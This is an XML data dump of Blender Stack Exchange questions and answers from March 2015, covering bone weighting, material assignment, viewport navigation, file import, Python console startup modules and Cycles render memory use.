  <row Id="26916" PostTypeId="2" ParentId="26913" CreationDate="2015-03-10T11:13:44.523" Score="2" Body="&lt;p&gt;Your vertices are weighted on bad bones.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bUCAX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The selected vertex should have 1 for Bone1.035 and nothing else. This can be seen in Edit mode in the N panel. From there you can change the weight values (in this case, 1 for Bone1.035 and remove with X bone3.044).&lt;br&gt;&#xA;The other vertex needs to have only bone3.044.&lt;br&gt;&#xA;Once this is done, place your vertices where they should be and they'll do what you expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're life would be easier with better bones names (Something like Arm1.bone1, arm1.bone2, Arm2.bone1 ...)&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-10T11:13:44.523" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26917" PostTypeId="1" CreationDate="2015-03-10T11:14:21.693" Score="2" ViewCount="4073" Body="&lt;p&gt;Can somebody tell me where the &quot;assign&quot; button, for assigning a material has gone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3zrGm.png&quot; alt=&quot;Material Preview with assign&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is where it should be, but it has gone away:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B12OE.png&quot; alt=&quot;Assign missing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this happen?&lt;/p&gt;&#xA;" OwnerUserId="13068" LastEditorUserId="12" LastEditDate="2015-03-10T12:46:59.667" LastActivityDate="2015-03-10T12:46:59.667" Title="Assign button missing from material tab" Tags="&lt;materials&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26918" PostTypeId="2" ParentId="26917" CreationDate="2015-03-10T11:15:35.013" Score="3" Body="&lt;p&gt;You need to be in &lt;em&gt;Edit Mode&lt;/em&gt;. That way you can select the vertices to assign to. Otherwise Blender has to use the mesh as one whole surface when applying new materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RK2aN.gif&quot; alt=&quot;Material Assign Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-10T11:15:35.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26919" PostTypeId="2" ParentId="26910" CreationDate="2015-03-10T11:22:43.140" Score="2" Body="&lt;p&gt;In the VSE with your video strip selected add a speed control effect strip. With the speed control strip selected, in the properties sidebar &lt;kbd&gt;N&lt;/kbd&gt; under Effect Strip is an option 'Stretch to input strip length', this needs to be off, when it is off you will get a speed factor setting. The speed factor can be keyframed to alter the speed as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/butJ6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-10T11:22:43.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26920" PostTypeId="2" ParentId="26911" CreationDate="2015-03-10T11:33:20.927" Score="1" Body="&lt;p&gt;You can &lt;strong&gt;join two meshes&lt;/strong&gt; by using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;, however &lt;strong&gt;make sure they are both a mesh&lt;/strong&gt; before attempting this. As Reactive said, you can convert a curve into a mesh using &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Mesh from Curve/Meta/Surf/Text&lt;/em&gt;. If it is using a modifier, simply press the &lt;em&gt;Apply&lt;/em&gt; button before joining the meshes.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-03-10T19:19:20.957" LastActivityDate="2015-03-10T19:19:20.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26921" PostTypeId="2" ParentId="26907" CreationDate="2015-03-10T11:40:04.410" Score="2" Body="&lt;p&gt;You can do this by going to &lt;em&gt;User Preferences &gt; Input&lt;/em&gt; and changing &lt;em&gt;Name&lt;/em&gt; to &lt;em&gt;Key-binding&lt;/em&gt; and typing the word &lt;code&gt;enter&lt;/code&gt; into the text box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hzyPY.gif&quot; alt=&quot;User Preferences Navigation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly you will have to change every single instance to your new command by hand unless someone else can come up with a script to do it automatically.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-10T11:40:04.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26922" PostTypeId="2" ParentId="26907" CreationDate="2015-03-10T11:40:39.150" Score="2" Body="&lt;p&gt;In the input settings some are linked to the &lt;code&gt;Enter&lt;/code&gt; key and some are linked to &lt;code&gt;Return&lt;/code&gt;, but I am pretty sure that the general enter that you refer to is hard coded, meaning you will need to build your own patched version of blender to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would see if you can link a button on your tablet to the enter key, maybe by playing a macro. What system you are using will determine what options you have for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try moving things around, maybe you could tilt the keyboard up and have the tablet in front of the keyboard instead of over it.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-10T11:40:39.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26923" PostTypeId="1" CreationDate="2015-03-10T13:23:48.797" Score="1" ViewCount="5826" Body="&lt;p&gt;I have googled it and have found a little or close to no info.The existing info is for old versions of blender and three js.&lt;br&gt;&#xA;I have tried this method &lt;a href=&quot;https://github.com/mrdoob/three.js/tree/master/utils/exporters/blender&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mrdoob/three.js/tree/master/utils/exporters/blender&lt;/a&gt;, but I am not seeing &quot;Import-Export: Three.js Format&quot; in the Addons in blender.&lt;br&gt;&#xA;I have Blender 2.72, and three.js (r70).&lt;br&gt;&#xA;UPDATE:&lt;br&gt;&#xA;I have been able to export my simple cube model into .JSON file type.&lt;br&gt;&#xA;Now how should I upload and use it in three.js?&lt;/p&gt;&#xA;" OwnerUserId="13084" LastEditorUserId="13084" LastEditDate="2015-03-10T21:27:09.390" LastActivityDate="2015-03-31T08:21:09.843" Title="How do I export a simple Blender 3D model, without armature, to Three js?" Tags="&lt;scripting&gt;&lt;export&gt;&lt;three.js&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26925" PostTypeId="1" CreationDate="2015-03-10T14:02:12.750" Score="5" ViewCount="1008" Body="&lt;p&gt;I cannot &quot;draw&quot; single vertices because that coordinate system Axes (Green, Red) are in my way. How can I draw vertices in straight lines instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tMeZw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time I want to draw a path which overlaps with the green and red thing it's not possible to do so. I'm not able to click there.&lt;/p&gt;&#xA;" OwnerUserId="13068" LastEditorDisplayName="user12855" LastEditDate="2015-06-02T04:35:53.170" LastActivityDate="2015-06-02T04:35:53.170" Title="&quot;Drawing&quot; single vertices obstructed by coordinate axes" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26927" PostTypeId="2" ParentId="26925" CreationDate="2015-03-10T14:10:57.040" Score="7" Body="&lt;p&gt;You can press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Space&lt;/kbd&gt; to toggle the 3d manipulator between visible and hidden. Or you toggle  it by clicking on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/OUg12sl.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you are referring to the fact that once you extrude you no longer see the manipulator that is because after you extrude you automatically go into grab mode, which will hide the manipulator. So if you want to move it along an axis you have two ways of doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 1 (preferred)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;E&lt;/kbd&gt; to extrude like you normally would&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Constrain the extrude to an axis by pressing either: &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; &lt;kbd&gt;Z&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;E&lt;/kbd&gt; to extrude like you normally would&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Drop the tool, RMB or &lt;kbd&gt;Esc&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the 3d manipulator to move it like you are used to&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S5slQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="12" LastEditDate="2015-03-10T15:01:54.133" LastActivityDate="2015-03-10T15:01:54.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26928" PostTypeId="2" ParentId="26925" CreationDate="2015-03-10T14:11:00.310" Score="1" Body="&lt;p&gt;&lt;em&gt;Your question isn't clear, some edits would be nice...&lt;/em&gt; anyways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to add single vertices, you &lt;strong&gt;&lt;em&gt;could&lt;/em&gt;&lt;/strong&gt; create one by adding and scaling a primitive like a cube, down to 0 (&lt;kbd&gt;S&lt;/kbd&gt;-&lt;kbd&gt;0&lt;/kbd&gt;), then using &lt;kbd&gt;W&lt;/kbd&gt;&gt;&lt;em&gt;Remove doubles&lt;/em&gt;. The best way to add more however would be to use &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt;. &lt;strong&gt;If you want to make a straight line&lt;/strong&gt;, use &lt;kbd&gt;G&lt;/kbd&gt; and then &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt; to confine it to an axis.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="6204" LastEditDate="2015-03-10T14:22:52.970" LastActivityDate="2015-03-10T14:22:52.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26930" PostTypeId="1" CreationDate="2015-03-10T15:00:20.900" Score="2" ViewCount="3038" Body="&lt;p&gt;I got some Vertices Overlapping, after using &quot;Srew&quot; function (:D) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0FdPm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i select the vertice, which is beyond the other? Look at the cursor there are 2 Vertices overlapping but i need to select the one beyond the vertice which is in the front&lt;/p&gt;&#xA;" OwnerUserId="13068" LastEditorUserId="11431" LastEditDate="2015-03-10T15:20:32.210" LastActivityDate="2015-03-10T15:20:32.210" Title="How to select vertices which are overlapping?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;interface&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26931" PostTypeId="2" ParentId="26930" CreationDate="2015-03-10T15:09:17.923" Score="4" Body="&lt;p&gt;You need to enter wire frame mode &lt;kbd&gt;Z&lt;/kbd&gt; or turn of limit selection to visible:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9XYN9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&#xA; When in one of these two modes, you simple select the vertex, &lt;strong&gt;if you got the wrong one, select again&lt;/strong&gt;, without doing anything.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-03-10T15:09:17.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26932" PostTypeId="1" CreationDate="2015-03-10T15:24:22.173" Score="4" ViewCount="8289" Body="&lt;p&gt;I am editing a very dense mesh. It looks great when viewed as solid faces, but it's just a black blob when viewed as wireframe because there are so many vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I switch to edit mode to select some vertices, the display goes to wireframe. Is there a way to hide unselected &quot;wires&quot; in edit mode, but keep the solid display of all faces, so that I can work on this dense mesh?&lt;/p&gt;&#xA;" OwnerUserId="11518" LastActivityDate="2015-03-10T15:43:11.857" Title="Hide wireframe in edit mode" Tags="&lt;editing&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26933" PostTypeId="2" ParentId="26932" CreationDate="2015-03-10T15:37:56.153" Score="2" Body="&lt;p&gt;Sadly this is not possible, however you can approximate a result like this fairly easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, go to &lt;em&gt;File &gt; User Preferences &gt; Themes &gt; 3D View&lt;/em&gt; and change the &lt;em&gt;Wire&lt;/em&gt; color to the default grey. &lt;em&gt;(Around Hex 6B6B6B)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tETk5.gif&quot; alt=&quot;Change colors 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make it less visible, but not invisible. You can make it so that selected edges are not shown as well by going to the &lt;code&gt;N&lt;/code&gt; menu and finding the &lt;em&gt;Mesh Display&lt;/em&gt; options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4MSxD.gif&quot; alt=&quot;Hide Selected Edges&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/questions/699/edges-with-thickness-and-color&quot;&gt;&lt;strong&gt;this question&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-03-10T15:43:11.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26934" PostTypeId="1" CreationDate="2015-03-10T16:03:09.100" Score="3" ViewCount="4352" Body="&lt;p&gt;I need to import an ASC, which is a Digital Terrain Model, file into blender. Basically it's a matrix of points, each represented by a number corrisponding to his height. What's the best way to do that? Is there anything you know that it's pre build or I have to write my own loader in Phyton?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13086" LastEditorUserId="3127" LastEditDate="2015-03-10T16:04:20.867" LastActivityDate="2017-04-18T21:18:50.540" Title="Loading ASC files in blender" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;import&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26935" PostTypeId="1" CreationDate="2015-03-10T16:18:39.767" Score="1" ViewCount="896" Body="&lt;p&gt;I have a set of tools that I use with blender and wanted to know how can I pre-import this module into blender's python console and have it accessible all the time. Just like how bpy works and I don't need to import every time I'm opening the program.&lt;/p&gt;&#xA;" OwnerUserId="13087" LastActivityDate="2015-03-10T17:30:19.077" Title="How to preload a python module into blender console on startup" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26936" PostTypeId="2" ParentId="26935" CreationDate="2015-03-10T16:28:45.370" Score="1" Body="&lt;p&gt;At startup, Blender reads the contents of the &lt;code&gt;scripts/startup/&lt;/code&gt; directory for python modules and imports them.  You can also choose to use scripts as add-ons (turn on/off via Add-Ons manager):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/info_overview.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_73_release/info_overview.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11590" LastEditorUserId="1363" LastEditDate="2015-03-10T17:14:12.790" LastActivityDate="2015-03-10T17:14:12.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26938" PostTypeId="1" AcceptedAnswerId="26941" CreationDate="2015-03-10T16:37:03.093" Score="9" ViewCount="6632" Body="&lt;p&gt;I somehow rotated my view a few degrees to the side and I don't know how to reset it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VdTi6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I reset the view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I don't have a number pad.&lt;/p&gt;&#xA;" OwnerUserId="12653" LastEditorUserId="599" LastEditDate="2015-03-11T05:52:07.123" LastActivityDate="2020-11-15T10:51:42.430" Title="How to reset the angle of rotated view without a numpad?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26939" PostTypeId="1" CreationDate="2015-03-10T16:46:16.817" Score="2" ViewCount="1530" Body="&lt;p&gt;How do you import a GIMP XCF File into Blender when running it on windows 7?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see all this stuff for how to do it in Linux, but is there anyway to do it with windows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what is this &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/GIMPImageToScene&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/GIMPImageToScene&lt;/a&gt; talking about?&lt;/p&gt;&#xA;" OwnerUserId="13088" LastEditorUserId="2217" LastEditDate="2015-03-10T17:15:00.193" LastActivityDate="2015-11-04T18:12:47.107" Title="Import a GIMP XCF on Windows 7" Tags="&lt;image&gt;&lt;import&gt;&lt;windows&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26940" PostTypeId="2" ParentId="26938" CreationDate="2015-03-10T16:47:31.917" Score="1" Body="&lt;p&gt;Numpad keys :  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;1&lt;/kbd&gt; front view&lt;br&gt;&#xA;&lt;kbd&gt;3&lt;/kbd&gt; right view&lt;br&gt;&#xA;&lt;kbd&gt;7&lt;/kbd&gt; top view  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;1&lt;/kbd&gt; back view&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;3&lt;/kbd&gt; left view&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;7&lt;/kbd&gt; bottom view  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;2&lt;/kbd&gt;/&lt;kbd&gt;8&lt;/kbd&gt; rotate up/down&lt;br&gt;&#xA;&lt;kbd&gt;4&lt;/kbd&gt;/&lt;kbd&gt;6&lt;/kbd&gt; rotate left/right  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;5&lt;/kbd&gt; switch orthographic/perspective view  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;+&lt;/kbd&gt;/&lt;kbd&gt;-&lt;/kbd&gt; zoom&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-03-10T17:19:30.577" LastActivityDate="2015-03-10T17:19:30.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26941" PostTypeId="2" ParentId="26938" CreationDate="2015-03-10T16:52:22.007" Score="12" Body="&lt;p&gt;Start rotating the view &lt;em&gt;holding the mouse scroll&lt;/em&gt;, then press and hold &lt;kbd&gt;Alt&lt;/kbd&gt; button, while still moving the mouse. It will very quickly adjust the view as desired.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EekoO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-03-10T18:33:26.347" LastActivityDate="2015-03-10T18:33:26.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26942" PostTypeId="2" ParentId="26938" CreationDate="2015-03-10T17:06:45.500" Score="3" Body="&lt;p&gt;Holding &lt;kbd&gt;Shift&lt;/kbd&gt; while hitting either &lt;kbd&gt;Num4&lt;/kbd&gt; or &lt;kbd&gt;Num6&lt;/kbd&gt; will rotate the roll of the screen. &lt;kbd&gt;Num4&lt;/kbd&gt; rotates counter-clockwise while &lt;kbd&gt;Num6&lt;/kbd&gt; rotates clockwise.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-10T17:06:45.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26943" PostTypeId="1" CreationDate="2015-03-10T17:10:14.660" Score="1" ViewCount="761" Body="&lt;p&gt;Will we be able to edit 4k H.265 footage in the VSE in a near future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13089" LastActivityDate="2015-04-10T10:58:39.590" Title="H.265 support in the VSE?" Tags="&lt;editing&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26945" PostTypeId="1" CreationDate="2015-03-10T17:27:24.207" Score="5" ViewCount="5228" Body="&lt;p&gt;I have a scene, about 20 mio faces, 1000 objects, 90% are instances. All modifiers are applied to the objects, in fact, not a single modifier is on any object.&lt;/p&gt;&#xA;&lt;p&gt;Using the cycles preview, the scene takes about 1GB of my 4GB VRAM. Blender says 2,5GB Mem in the title bar. The scene renders in seconds in the preview.&lt;/p&gt;&#xA;&lt;p&gt;When I render using F12, Blender uses almost all of my 8GB physical RAM (value of Windows Proccess Explorer), saying in it's title it uses 5.5GB of RAM. I increased my virtual memory to 24GB on an SSD, making 32GB in total.&lt;br /&gt;&#xA;Blender uses all of that, taking forever to synchronize objects and build BVH.&#xA;I let it run, it continued, but very slow.&#xA;At the end I get the CUDA out of memory message.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;4GB VRAM&lt;/li&gt;&#xA;&lt;li&gt;8GB Physical RAM&lt;/li&gt;&#xA;&lt;li&gt;24GB Virtual RAM&lt;/li&gt;&#xA;&lt;li&gt;In preview rendering the scene uses 1GB VRAM and 2.5GB RAM.&lt;/li&gt;&#xA;&lt;li&gt;In final rendering 4GB VRAM and 32GB RAM ain't enough to render it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Any idea what I can do?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;I simplified the scene and made a screenshot.&lt;/p&gt;&#xA;&lt;p&gt;Green marker: GPU Memory&lt;/p&gt;&#xA;&lt;p&gt;Red: RAM, Taskmanager (top), Blender (bottom)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Uxe9Y.jpg&quot; alt=&quot;Cycles memory&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Still the scene doesn't render, memory rises in task manager up to 7.7GB, then starts to fill up the 24GB of virtual memory.&lt;/p&gt;&#xA;&lt;p&gt;Nobody seems to know, how to solve the problem. &lt;strong&gt;Maybe someone can answer the question, why this is happening&lt;/strong&gt;. Why takes it 2 seconds for the cycles preview render to load my scene, build BVH and render it without any trouble, peaking at 1GB VRAM, while F12 eats up all RAM, fails to render and claims I'm out of VRAM? It should be other way round, that the F12 render uses less VRAM, from my experience.&lt;/p&gt;&#xA;&lt;p&gt;Also the question, why Blender displaying RAM usage completely wrong, remains. I've read an article of Blender Developer Sergey, he's talking about memory fragmentation, but I doubt that would cause more than double of RAM usage. Sure, I don't know.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I scratched together my last bucks and bought 16GB RAM. Didn't help. Syncronizing and building the scene used again all 16GB of memory and then continued with the virtual memory.&lt;/p&gt;&#xA;&lt;p&gt;All I can say is, this is definitly a bug. I cannot think of any logical reason, why &lt;strong&gt;a scene that uses 1GB VRAM in Cycles preview would use 10x as much in final rendering&lt;/strong&gt;, given the facts that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is no modifier on any object&lt;/li&gt;&#xA;&lt;li&gt;Textures are small, 90% of objects are instances&lt;/li&gt;&#xA;&lt;li&gt;Nothing is created at rendertime, there is no particle system&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I have no clue where to look for, what could cause this, and apparently no one else has. So I will conclude this is a unknown bug.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/upXYL.jpg&quot; alt=&quot;memory bug&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;A bit hard to see on the screenshot. Below you can see the GPU memory peak at 10GB. On the right you can see Blender claiming to use 2770MB of memory. Not on the image, in the taskmanager all 16GB of RAM where used.&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-11-22T12:45:37.863" Title="Cycles memory problem" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26946" PostTypeId="2" ParentId="26935" CreationDate="2015-03-10T17:30:19.077" Score="0" Body="&lt;p&gt;Around line 97 in &lt;code&gt;scripts\modules\console_python.py&lt;/code&gt;, there is some code regarding the imports / convenience variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    namespace[&quot;__builtins__&quot;] = sys.modules[&quot;builtins&quot;]&#xA;    namespace[&quot;bpy&quot;] = bpy&#xA;&#xA;    # weak! - but highly convenient&#xA;    namespace[&quot;C&quot;] = bpy.context&#xA;    namespace[&quot;D&quot;] = bpy.data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't work however if you add &lt;code&gt;import bmesh; namespace[&quot;bmesh&quot;] = bmesh&lt;/code&gt; here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this code isn't really used, you might wanna check the C code.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-03-10T17:30:19.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26947" PostTypeId="1" AcceptedAnswerId="26949" CreationDate="2015-03-10T17:44:13.480" Score="4" ViewCount="522" Body="&lt;p&gt;I am making a 3rd person game in the blender game engine and I noticed that most 3d adventure games (Ocarina of Time, Super Mario 64) do not hold the camera exactly behind the player. Instead, the camera will loosly follow the player. I made the player the parent of the camera so, obviously, it will not naturaly bob around. Thanks in advance to anyone who can help me.&lt;/p&gt;&#xA;" OwnerUserId="13091" LastActivityDate="2015-03-10T20:07:38.960" Title="Camera Shake in 3d video games" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26948" PostTypeId="1" CreationDate="2015-03-10T18:00:45.687" Score="1" ViewCount="596" Body="&lt;p&gt;So I am trying to make a model with hand painted textures. I marked some seams and UV unwrapped it to start painting. (maybe i forgot a step?), but then i try to apply it. I don't really know how to apply it. And once I thought i succeeded, but when I opened up the file again it was blanc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows how to do this?&lt;/p&gt;&#xA;" OwnerUserId="13093" LastActivityDate="2015-03-10T18:00:45.687" Title="How to apply hand painted textures" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-03-10T20:01:55.830" ContentLicense="CC BY-SA 3.0" />
